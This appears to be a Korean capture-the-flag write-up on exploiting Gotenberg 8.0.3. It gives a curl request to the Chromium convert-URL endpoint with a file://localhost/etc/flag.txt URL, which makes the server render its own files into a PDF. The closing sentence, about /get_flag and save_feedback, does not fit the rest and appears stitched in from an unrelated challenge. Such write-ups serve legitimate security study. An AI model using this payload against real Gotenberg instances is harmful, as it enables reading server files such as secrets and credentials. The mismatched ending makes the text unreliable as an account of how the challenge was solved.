문제 분석

Oh by the way I love using my new microservice parsing these arrest reports to PDF

해당 문제에 접근 시 Not Found만 나오는 것을 확인할 수 있다.

FROM gotenberg/gotenberg:8.0.3

COPY flag.txt /etc/flag.txt

version: "3.2"

services:
  gotenberg:
    build: src/.
    ports:
      - 3000:3000

해당 파일의 경우 gotenberg:8.0.3만을 사용하며 어떠한 페이지가 존재하지 않는 것을 확인할 수 있다.

gotenberg이 무엇인지 확인해보면 어느 한 페이지에 대해 PDF로 변환해주는 모듈인 것을 확인할 수 있다.

그렇다는 것은 해당 버전에 대한 취약점 존재 여부를 파악할 필요가 있다.

해당 소스는 Git에도 있기에 8.0.3 버전 다음 버전인 8.1.0 버전을 확인해본 결과 Chromium 모듈의 경우 시스템 파일에 대한 파일 읽 는 것이 가능하다는 것을 확인하였습니다.

즉, 해당 모듈을 사용함에 있어서 /etc/flag.txt의 파일을 URL로 접근하여 파일의 내용을 PDF로 추출하는 것임을 알 수 있다.

curl \
--request POST http://localhost:3000/forms/chromium/convert/url \
--form url=https://my.url \
--form landscape=true \
--form marginTop=1 \
--form marginBottom=1 \
-o my.pdf

공식 홈페이지를 통해 사용하는 방법을 확인하였으니 아래와 같이 수정하여 PDF를 추출합니다.

curl \
--request POST https://web-hah-got-em-20ac16c4b909.2024.ductf.dev/forms/chromium/convert/url \
--form url=file://localhost/etc/flag.txt \
--form landscape=true \
--form marginTop=1 \
--form marginBottom=1 \
-o my.pdf

URL의 프로토콜은 http, file, ftp 등이 존재하지만 파일을 받기 위한 file, 또한 서버측에 존재하는 파일을 가져오기 위한 localhost로 지정하여 PDF로 추출합니다.

/get_flag에 접근 시 save_feedback을 통해 flag=True가 되었기에 플래그 추출이 가능하였습니다.